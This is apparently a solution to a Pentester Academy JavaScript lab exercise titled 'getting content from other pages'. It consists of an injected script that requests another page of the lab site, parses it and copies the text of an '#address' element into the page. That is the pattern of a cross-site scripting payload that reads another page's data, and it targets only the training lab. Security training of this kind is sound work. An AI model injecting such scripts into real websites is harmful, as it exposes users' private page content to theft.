JFP 18 Solution [getting content from other pages]

<script>
(function(){
var reqHandel = new XMLHttpRequest();
reqHandel.onreadystatechange = function(){
 if (this.readyState == 4 && this.status == 200){
 var el = document.createElement( 'html' );
 el.innerHTML = reqHandel.responseText;
 document.querySelector('#result').innerText = el.querySelector('#address').innerText;
 }
}

var url = 'http://pentesteracademylab.appspot.com/lab/webapp/jfp/18/address';
reqHandel.open('GET',url,true);
reqHandel.send();
})();
</script>